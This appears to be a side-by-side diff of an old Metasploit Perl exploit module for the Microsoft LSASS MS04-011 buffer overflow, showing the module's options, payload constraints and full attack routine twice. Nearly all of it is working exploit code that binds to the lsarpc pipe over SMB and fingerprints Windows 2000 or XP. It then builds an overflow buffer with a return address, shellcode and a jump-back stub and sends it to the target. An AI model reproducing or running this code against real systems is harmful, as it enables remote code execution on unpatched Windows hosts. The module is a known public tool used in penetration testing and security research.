| 24 | | 'Name' => 'Microsoft LSASS MSO4-011 Overflow', |
|---|
| 25 | | 'Version' => '$Revision$', |
|---|
| 26 | | 'Authors' => [ |
|---|
| 27 | | 'H D Moore <hdm [at] metasploit.com>', |
|---|
| 28 | | 'Brian Caswell <bmc [at] shmoo.com>' |
|---|
| 29 | | ], |
|---|
| 30 | | |
|---|
| 31 | | 'Arch' => ['x86'], |
|---|
| 32 | | 'OS' => [ 'win32', 'win2000', 'winxp' ], |
|---|
| 33 | | 'Priv' => 1, |
|---|
| 34 | | |
|---|
| 35 | | 'AutoOpts' => { 'EXITFUNC' => 'thread' }, |
|---|
| 36 | | 'UserOpts' => { |
|---|
| 37 | | 'RHOST' => [ 1, 'ADDR', 'The target address' ], |
|---|
| 38 | | |
|---|
| 39 | | # SMB connection options |
|---|
| 40 | | 'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ], |
|---|
| 41 | | 'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username', '' ], |
|---|
| 42 | | 'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ], |
|---|
| 43 | | }, |
|---|
| 44 | | |
|---|
| 45 | | 'Payload' => { |
|---|
| 46 | | 'Space' => 1024, |
|---|
| 47 | | 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", |
|---|
| 48 | | 'Keys' => ['+ws2ord'], |
|---|
| 49 | | |
|---|
| 50 | | # sub esp, 4097 + inc esp makes stack happy |
|---|
| 51 | | 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44", |
|---|
| 52 | | }, |
|---|
| 53 | | |
|---|
| 54 | | 'Description' => Pex::Text::Freeform( |
|---|
| 55 | | qq{ |
|---|
| | 24 | 'Name' => 'Microsoft LSASS MSO4-011 Overflow', |
|---|
| | 25 | 'Version' => '$Revision$', |
|---|
| | 26 | 'Authors' => |
|---|
| | 27 | [ |
|---|
| | 28 | 'H D Moore <hdm [at] metasploit.com>', |
|---|
| | 29 | 'Brian Caswell <bmc [at] shmoo.com>' |
|---|
| | 30 | ], |
|---|
| | 31 | |
|---|
| | 32 | 'Arch' => ['x86'], |
|---|
| | 33 | 'OS' => [ 'win32', 'win2000', 'winxp' ], |
|---|
| | 34 | 'Priv' => 1, |
|---|
| | 35 | |
|---|
| | 36 | 'AutoOpts' => { 'EXITFUNC' => 'thread' }, |
|---|
| | 37 | 'UserOpts' => |
|---|
| | 38 | { |
|---|
| | 39 | 'RHOST' => [ 1, 'ADDR', 'The target address' ], |
|---|
| | 40 | |
|---|
| | 41 | # SMB connection options |
|---|
| | 42 | 'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ], |
|---|
| | 43 | 'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username', '' ], |
|---|
| | 44 | 'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ], |
|---|
| | 45 | }, |
|---|
| | 46 | |
|---|
| | 47 | 'Payload' => |
|---|
| | 48 | { |
|---|
| | 49 | 'Space' => 1024, |
|---|
| | 50 | 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", |
|---|
| | 51 | 'Keys' => ['+ws2ord'], |
|---|
| | 52 | |
|---|
| | 53 | # sub esp, 4097 + inc esp makes stack happy |
|---|
| | 54 | 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44", |
|---|
| | 55 | }, |
|---|
| | 56 | |
|---|
| | 57 | 'Description' => Pex::Text::Freeform( |
|---|
| | 58 | qq{ |
|---|
| 85 | | my ($self) = @_; |
|---|
| 86 | | my $target_host = $self->GetVar('RHOST'); |
|---|
| 87 | | my $target_port = $self->GetVar('RPORT'); |
|---|
| 88 | | my $target_idx = $self->GetVar('TARGET'); |
|---|
| 89 | | my $shellcode = $self->GetVar('EncodedPayload')->Payload; |
|---|
| 90 | | my $target_name = '*SMBSERVER'; |
|---|
| 91 | | |
|---|
| 92 | | my $FragSize = $self->GetVar('FragSize') || 256; |
|---|
| 93 | | my $target = $self->Targets->[$target_idx]; |
|---|
| 94 | | |
|---|
| 95 | | my ( $res, $rpc ); |
|---|
| 96 | | |
|---|
| 97 | | if ( !$self->InitNops(128) ) { |
|---|
| 98 | | $self->PrintLine("[*] Failed to initialize the nop module."); |
|---|
| 99 | | return; |
|---|
| 100 | | } |
|---|
| 101 | | |
|---|
| 102 | | my $pipe = '\lsarpc'; |
|---|
| 103 | | my $uuid = '3919286a-b10c-11d0-9ba8-00c04fd92ef5'; |
|---|
| 104 | | my $version = '0.0'; |
|---|
| 105 | | |
|---|
| 106 | | my $handle = |
|---|
| 107 | | Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, |
|---|
| 108 | | $pipe ); |
|---|
| 109 | | |
|---|
| 110 | | my $dce = Pex::DCERPC->new( |
|---|
| 111 | | 'handle' => $handle, |
|---|
| 112 | | 'username' => $self->GetVar('SMBUSER'), |
|---|
| 113 | | 'password' => $self->GetVar('SMBPASS'), |
|---|
| 114 | | 'domain' => $self->GetVar('SMBDOM'), |
|---|
| 115 | | 'fragsize' => $self->GetVar('FragSize'), |
|---|
| 116 | | 'bindevasion' => $self->GetVar('BindEvasion'), |
|---|
| 117 | | 'directsmb' => $self->GetVar('DirectSMB'), |
|---|
| 118 | | ); |
|---|
| 119 | | |
|---|
| 120 | | if ( !$dce ) { |
|---|
| 121 | | $self->PrintLine("[*] Could not bind to $handle"); |
|---|
| 122 | | return; |
|---|
| 123 | | } |
|---|
| 124 | | |
|---|
| 125 | | # XXX - UGLY |
|---|
| 126 | | my $smb = $dce->{'_handles'}{$handle}{'connection'}; |
|---|
| 127 | | if ( $target->[0] =~ /Auto/ ) { |
|---|
| 128 | | if ( $smb->PeerNativeOS eq 'Windows 5.0' ) { |
|---|
| 129 | | $target = $self->Targets->[1]; |
|---|
| 130 | | $self->PrintLine('[*] Windows 2000 target'); |
|---|
| 131 | | } |
|---|
| 132 | | elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) { |
|---|
| 133 | | $target = $self->Targets->[2]; |
|---|
| 134 | | $self->PrintLine('[*] XP target'); |
|---|
| 135 | | } |
|---|
| 136 | | else { |
|---|
| 137 | | $self->PrintLine( |
|---|
| 138 | | '[*] No target available : ' . $smb->PeerNativeOS() ); |
|---|
| 139 | | return; |
|---|
| 140 | | } |
|---|
| 141 | | } |
|---|
| 142 | | |
|---|
| 143 | | my $pattern; |
|---|
| 144 | | if ( $target->[0] =~ /2000/ ) { |
|---|
| 145 | | |
|---|
| 146 | | # Windows 2000 requires that the string be unicode formatted |
|---|
| 147 | | # and give us a nice set of registers which point back to |
|---|
| 148 | | # the un-unicoded data. We simply return to a nop sled that |
|---|
| 149 | | # jumps over the return address, some trash, and into the |
|---|
| 150 | | # final payload. Easy as pie. |
|---|
| 151 | | $pattern = Pex::Text::EnglishText(3500); |
|---|
| 152 | | substr( $pattern, 2020, 4, pack( 'V', $target->[1] ) ); |
|---|
| 153 | | substr( $pattern, 2104, length($shellcode), $shellcode ); |
|---|
| 154 | | $pattern = Pex::NDR::UnicodeConformantVaryingString($pattern); |
|---|
| 155 | | } |
|---|
| 156 | | elsif ( $target->[0] =~ /XP/ ) { |
|---|
| 157 | | |
|---|
| 158 | | # Windows XP is a bit different, we need to use an ascii |
|---|
| 159 | | # buffer and a jmp esp. The esp register points to an |
|---|
| 160 | | # eight byte segment at the end of our buffer in memory, |
|---|
| 161 | | # we make these bytes jump back to the beginning of the |
|---|
| 162 | | # buffer, giving us about 1936 bytes of space for a |
|---|
| 163 | | # payload. |
|---|
| 164 | | $pattern = Pex::Text::EnglishText(7000); |
|---|
| 165 | | substr( $pattern, 0, length($shellcode), $shellcode ); |
|---|
| 166 | | substr( $pattern, 1964, 4, pack( 'V', $target->[1] ) ); |
|---|
| 167 | | substr( $pattern, 1980, 5, "\xe9\x3f\xf8\xff\xff" ) |
|---|
| 168 | | ; # jmp back to 1980 (disco fever) |
|---|
| 169 | | $pattern = Pex::NDR::UnicodeConformantVaryingStringPreBuilt($pattern); |
|---|
| 170 | | $self->PrintLine('[*] Windows XP may require two attempts'); |
|---|
| 171 | | } |
|---|
| 172 | | else { |
|---|
| 173 | | $self->PrintLine( '[*] invalid target : ' . $target->[0] ); |
|---|
| 174 | | return; |
|---|
| 175 | | } |
|---|
| 176 | | |
|---|
| 177 | | my $stub = $pattern |
|---|
| 178 | | . Pex::NDR::Long( int( rand(0xFFFFFF) ) ) |
|---|
| 179 | | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| 180 | | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| 181 | | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| 182 | | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| 183 | | . Pex::NDR::Long( int( rand(0xFFFFFF) ) ) |
|---|
| 184 | | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| 185 | | . Pex::NDR::Long( int( rand(0xFFFFFF) ) ) |
|---|
| 186 | | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| 187 | | . Pex::NDR::Long( int( rand(0xFFFFFF) ) ) |
|---|
| 188 | | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| 189 | | . Pex::Text::RandomData(528) |
|---|
| 190 | | . Pex::Text::RandomData(528) |
|---|
| 191 | | . Pex::NDR::Long( int( rand(0xFFFFFF) ) ); |
|---|
| 192 | | |
|---|
| 193 | | $self->PrintLine("[*] Sending request..."); |
|---|
| 194 | | my @response = $dce->request( $handle, 9, $stub ); |
|---|
| 195 | | if (@response) { |
|---|
| 196 | | $self->PrintLine('[*] RPC server responded with:'); |
|---|
| 197 | | foreach my $line (@response) { |
|---|
| 198 | | $self->PrintLine( '[*] ' . $line ); |
|---|
| 199 | | } |
|---|
| 200 | | $self->PrintLine('[*] This probably means that the system is patched'); |
|---|
| 201 | | } |
|---|
| 202 | | return; |
|---|
| | 94 | my ($self) = @_; |
|---|
| | 95 | my $target_host = $self->GetVar('RHOST'); |
|---|
| | 96 | my $target_port = $self->GetVar('RPORT'); |
|---|
| | 97 | my $target_idx = $self->GetVar('TARGET'); |
|---|
| | 98 | my $shellcode = $self->GetVar('EncodedPayload')->Payload; |
|---|
| | 99 | my $target_name = '*SMBSERVER'; |
|---|
| | 100 | |
|---|
| | 101 | my $FragSize = $self->GetVar('FragSize') || 256; |
|---|
| | 102 | my $target = $self->Targets->[$target_idx]; |
|---|
| | 103 | |
|---|
| | 104 | my ( $res, $rpc ); |
|---|
| | 105 | |
|---|
| | 106 | if ( !$self->InitNops(128) ) { |
|---|
| | 107 | $self->PrintLine("[*] Failed to initialize the nop module."); |
|---|
| | 108 | return; |
|---|
| | 109 | } |
|---|
| | 110 | |
|---|
| | 111 | my $pipe = '\lsarpc'; |
|---|
| | 112 | my $uuid = '3919286a-b10c-11d0-9ba8-00c04fd92ef5'; |
|---|
| | 113 | my $version = '0.0'; |
|---|
| | 114 | |
|---|
| | 115 | my $handle = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, $pipe ); |
|---|
| | 116 | |
|---|
| | 117 | my $dce = Pex::DCERPC->new( |
|---|
| | 118 | 'handle' => $handle, |
|---|
| | 119 | 'username' => $self->GetVar('SMBUSER'), |
|---|
| | 120 | 'password' => $self->GetVar('SMBPASS'), |
|---|
| | 121 | 'domain' => $self->GetVar('SMBDOM'), |
|---|
| | 122 | 'fragsize' => $self->GetVar('FragSize'), |
|---|
| | 123 | 'bindevasion' => $self->GetVar('BindEvasion'), |
|---|
| | 124 | 'directsmb' => $self->GetVar('DirectSMB'), |
|---|
| | 125 | ); |
|---|
| | 126 | |
|---|
| | 127 | if ( !$dce ) { |
|---|
| | 128 | $self->PrintLine("[*] Could not bind to $handle"); |
|---|
| | 129 | return; |
|---|
| | 130 | } |
|---|
| | 131 | |
|---|
| | 132 | # XXX - UGLY |
|---|
| | 133 | my $smb = $dce->{'_handles'}{$handle}{'connection'}; |
|---|
| | 134 | if ( $target->[0] =~ /Auto/ ) { |
|---|
| | 135 | if ( $smb->PeerNativeOS eq 'Windows 5.0' ) { |
|---|
| | 136 | $target = $self->Targets->[1]; |
|---|
| | 137 | $self->PrintLine('[*] Windows 2000 target'); |
|---|
| | 138 | } |
|---|
| | 139 | elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) { |
|---|
| | 140 | $target = $self->Targets->[2]; |
|---|
| | 141 | $self->PrintLine('[*] XP target'); |
|---|
| | 142 | } |
|---|
| | 143 | else { |
|---|
| | 144 | $self->PrintLine( |
|---|
| | 145 | '[*] No target available : ' . $smb->PeerNativeOS() ); |
|---|
| | 146 | return; |
|---|
| | 147 | } |
|---|
| | 148 | } |
|---|
| | 149 | |
|---|
| | 150 | my $pattern; |
|---|
| | 151 | if ( $target->[0] =~ /2000/ ) { |
|---|
| | 152 | |
|---|
| | 153 | # Windows 2000 requires that the string be unicode formatted |
|---|
| | 154 | # and give us a nice set of registers which point back to |
|---|
| | 155 | # the un-unicoded data. We simply return to a nop sled that |
|---|
| | 156 | # jumps over the return address, some trash, and into the |
|---|
| | 157 | # final payload. Easy as pie. |
|---|
| | 158 | $pattern = Pex::Text::EnglishText(3500); |
|---|
| | 159 | substr( $pattern, 2020, 4, pack( 'V', $target->[1] ) ); |
|---|
| | 160 | substr( $pattern, 2104, length($shellcode), $shellcode ); |
|---|
| | 161 | $pattern = Pex::NDR::UnicodeConformantVaryingString($pattern); |
|---|
| | 162 | } |
|---|
| | 163 | elsif ( $target->[0] =~ /XP/ ) { |
|---|
| | 164 | |
|---|
| | 165 | # Windows XP is a bit different, we need to use an ascii |
|---|
| | 166 | # buffer and a jmp esp. The esp register points to an |
|---|
| | 167 | # eight byte segment at the end of our buffer in memory, |
|---|
| | 168 | # we make these bytes jump back to the beginning of the |
|---|
| | 169 | # buffer, giving us about 1936 bytes of space for a |
|---|
| | 170 | # payload. |
|---|
| | 171 | $pattern = Pex::Text::EnglishText(7000); |
|---|
| | 172 | substr( $pattern, 0, length($shellcode), $shellcode ); |
|---|
| | 173 | substr( $pattern, 1964, 4, pack( 'V', $target->[1] ) ); |
|---|
| | 174 | substr( $pattern, 1980, 5, "\xe9\x3f\xf8\xff\xff" ) |
|---|
| | 175 | ; # jmp back to 1980 (disco fever) |
|---|
| | 176 | $pattern = Pex::NDR::UnicodeConformantVaryingStringPreBuilt($pattern); |
|---|
| | 177 | $self->PrintLine('[*] Windows XP may require two attempts'); |
|---|
| | 178 | } |
|---|
| | 179 | else { |
|---|
| | 180 | $self->PrintLine( '[*] Invalid target : ' . $target->[0] ); |
|---|
| | 181 | return; |
|---|
| | 182 | } |
|---|
| | 183 | |
|---|
| | 184 | my $stub = $pattern |
|---|
| | 185 | . Pex::NDR::Long( int( rand(0xFFFFFF) ) ) |
|---|
| | 186 | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| | 187 | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| | 188 | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| | 189 | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| | 190 | . Pex::NDR::Long( int( rand(0xFFFFFF) ) ) |
|---|
| | 191 | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| | 192 | . Pex::NDR::Long( int( rand(0xFFFFFF) ) ) |
|---|
| | 193 | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| | 194 | . Pex::NDR::Long( int( rand(0xFFFFFF) ) ) |
|---|
| | 195 | . Pex::NDR::UnicodeConformantVaryingString('') |
|---|
| | 196 | . Pex::Text::RandomData(528) |
|---|
| | 197 | . Pex::Text::RandomData(528) |
|---|
| | 198 | . Pex::NDR::Long( int( rand(0xFFFFFF) ) ); |
|---|
| | 199 | |
|---|
| | 200 | $self->PrintLine("[*] Sending request..."); |
|---|
| | 201 | my @response = $dce->request( $handle, 9, $stub ); |
|---|
| | 202 | if (@response) { |
|---|
| | 203 | $self->PrintLine('[*] RPC server responded with:'); |
|---|
| | 204 | foreach my $line (@response) { |
|---|
| | 205 | $self->PrintLine( '[*] ' . $line ); |
|---|
| | 206 | } |
|---|
| | 207 | $self->PrintLine('[*] This probably means that the system is patched'); |
|---|
| | 208 | } |
|---|
| | 209 | return; |
|---|